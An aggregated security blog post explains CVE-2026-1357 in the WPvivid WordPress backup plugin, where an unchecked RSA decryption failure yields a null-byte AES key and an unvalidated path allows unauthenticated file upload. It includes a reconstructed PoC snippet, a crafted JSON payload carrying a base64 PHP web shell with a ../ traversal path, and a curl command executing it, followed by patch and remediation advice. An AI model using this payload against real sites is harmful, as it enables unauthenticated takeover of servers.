Dev.to Security πŸ” Cybersecurity πŸ‘ 1 πŸ“– 6 min read

CVE-2026-1357 Explained: The Cost of Never Checking Whether Decryption Failed

Overview Item Detail CVE ID CVE-2026-1357 Affected product WPvivid Backup & Migration (WordPress plugin) Affected versions 0.9.123 and earlier Fixed in 0.9.124 CVSS 3.1 9.8 (Critical) β€” AV:N/AC:L/PR:N/UI

CVE-2026-1357 Explained: The Cost of Never Checking Whether Decryption Failed

Overview

Item Detail
CVE ID CVE-2026-1357
Affected product WPvivid Backup & Migration (WordPress plugin)
Affected versions 0.9.123 and earlier
Fixed in 0.9.124
CVSS 3.1 9.8 (Critical) β€” AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type CWE-434 (Unrestricted Upload of File with Dangerous Type); root cause is a cryptographic fail-open combined with missing path validation
Authentication required None (though a plugin "Key" must have been generated at least once beforehand)
Reported by Lucas Montes (NiRoX), via Wordfence
Install base Installed on more than 800,000 WordPress sites

WPvivid Backup & Migration is a plugin that creates WordPress backups and moves them to another server. To transfer backup data between sites securely, the plugin implements its own protocol: it encrypts backup chunks with an AES session key, which is itself wrapped in RSA. The cryptographic design is sound on paper. The problem is that it never answered one question: what should happen when RSA decryption fails?

When openssl_private_decrypt() fails, PHP returns false. The plugin never checked that return value β€” it passed false straight into the next stage, phpseclib's AES decryption function, as the key. phpseclib treats a non-string value like false as a zero-length string, and because AES requires a fixed-length key, the library's internal padding/casting logic turns that into a predictable key filled entirely with null bytes. The RSA private key β€” the entire point of the protection β€” is effectively bypassed. Layer a second flaw on top β€” the uploaded filename is never validated β€” and an unauthenticated attacker can drop a PHP web shell directly into WordPress's upload directory.

Where the flaw lives β€” the cross-site backup transfer protocol

WPvivid exposes an AJAX action called send_to_site to move a backup from one site to another. The request carries a packet structured like this:

[RSA ciphertext length (3 hex digits)][AES key encrypted with RSA][AES ciphertext length (16 hex digits)][JSON payload encrypted with AES]

The intent is straightforward: the AES key itself is encrypted with an RSA public key, the receiving side recovers it using its own private key, and that recovered key decrypts the actual backup data (JSON). If this worked as designed, an attacker without the RSA private key should have no way to produce a valid AES key in the first place.

Step-by-step source analysis

Step 1 β€” the RSA decryption result is used without being checked

The handling logic in class-wpvivid-send-to-site.php looks roughly like this (reconstructed from the public advisory and the published PoC):

// class-wpvivid-send-to-site.php (reconstructed from the public advisory)
openssl_private_decrypt($encrypted_aes_key, $aes_key, $this->private_key);

$cipher = new \phpseclib\Crypt\AES('cbc');
$cipher->setKey($aes_key);          // passed through even if $aes_key is false
$cipher->setIV($iv);
$json = $cipher->decrypt($encrypted_payload);

openssl_private_decrypt() returns true and fills its third argument ($aes_key) with the decrypted value on success β€” or returns false, leaving $aes_key unset or unchanged, on failure. Correct code checks that return value and rejects the request immediately on failure. This code discards the return value entirely and uses $aes_key as the AES key on the very next line, whatever state it's in.

Step 2 β€” phpseclib casts false into a "null-byte key" (the root cause)

setKey() expects a string. PHP is loosely typed, so when false lands where a string is expected, an implicit conversion happens. Inside phpseclib, as the key gets padded out to the block cipher's required length (16 bytes for AES-128), false is effectively treated as an empty string of length zero, and padding that out to 16 bytes produces a key consisting of sixteen repeated \x00 bytes.

openssl_private_decrypt() fails β†’ $aes_key = false
setKey(false) β†’ phpseclib pads it out, landing on "\x00" Γ— 16 in practice

This is the crux of the whole bug. An AES key that should only be derivable with the RSA private key instead collapses to the exact same value β€” sixteen null bytes β€” every single time decryption fails. The attacker doesn't need to know the server's RSA private key at all; they only need to know "this server falls back to a fixed key whenever decryption of the attacker's own crafted request fails." The RSA-ciphertext portion of the packet can contain literally anything, including something that isn't valid RSA ciphertext at all β€” it fails to decrypt either way, and either way the result is the same null-byte key. The public PoC does exactly this, filling the RSA slot with the meaningless placeholder "ABC" and encrypting only the AES portion with a null key and null IV.

# Core PoC logic (halilkirazkaya/CVE-2026-1357, public repository)
null_key = b"\x00" * 16
null_iv  = b"\x00" * 16
cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv)   # matches the server's own failure fallback

fake_key = b"ABC"   # meaningless placeholder for the RSA slot β€” it's fine if decryption fails
packet = (
    format(len(fake_key), "03x").encode() + fake_key
    + format(len(encrypted), "016x").encode() + encrypted
)

Step 3 β€” the file path inside the (apparently) decrypted JSON is used with no validation

Once the server decrypts the attacker's AES ciphertext using the null-byte key, it gets back exactly the JSON the attacker intended:

{
  "backup_id": "1",
  "name": "../uploads/shell.php",
  "data": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+",
  "offset": 0,
  "index": 0,
  "type": "backup",
  "status": "running"
}

The name field here is both the filename and the path a backup chunk gets written to. In normal use, this field presumably assumes only a filename under the plugin's internal directory will ever appear β€” but there's no check at all for whether this value can escape that directory (path normalization, blocking ../, allowed-extension checks, none of it). The data field is the base64-encoded file content itself, which can hold PHP web shell code directly.

Step 4 β€” path traversal lands the file in the public upload directory

The ../ sequence embedded in name is interpreted literally when the plugin writes the file, breaking out of the intended backup-only directory and landing it in WordPress's public upload directory (wp-content/uploads/). Because the web server serves that directory directly, the uploaded PHP file executes the moment it's requested by URL β€” no separate trigger needed.

curl "http://target/wp-content/uploads/shell.php?cmd=id"
# β†’ uid=33(www-data) gid=33(www-data) groups=33(www-data)

No credentials, no RSA private key, not even a valid session required. The only precondition is that a "Key" (API token) must have been generated at some point in the plugin's settings β€” and because the plugin's own internal logic often turns this on automatically whenever the relevant feature is used, rather than requiring deliberate admin action each time, this precondition holds often enough in real deployments.

The patch β€” treat failure as failure, and validate the path

WPvivid 0.9.124 fixed this in two places:

  1. It now checks the return value of openssl_private_decrypt() and rejects the request immediately on failure, so false never reaches the next stage at all.
  2. It added path normalization and directory-traversal protection to the uploaded file's name value, making it impossible to write outside the designated backup directory.

There are two lessons here. Treating a cryptographic function's failure as "something that won't happen" and skipping the return-value check turns that exact failure path into the most predictable route to success an attacker could ask for. And data being encrypted doesn't mean every value inside it β€” especially a file path β€” can be trusted once decrypted; input validation is still required on the other side of the cryptographic layer.

Remediation

  • Update WPvivid Backup & Migration to 0.9.124 or later immediately.
  • If an immediate update isn't possible, consider revoking any generated "Key" in the plugin's settings and disabling the cross-site transfer feature until it can be regenerated.
  • Blocking PHP execution inside wp-content/uploads/ at the web server level (an Nginx location rule, an Apache .htaccess directive) is a useful common defense against this entire class of upload vulnerability.
  • If exposure is possible, check wp-content/uploads/ for unfamiliar .php files, and cross-reference web server access logs for wpvivid_action=send_to_site requests followed by access to the upload directory.
πŸ“° Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β€” full credit and traffic to the original publisher.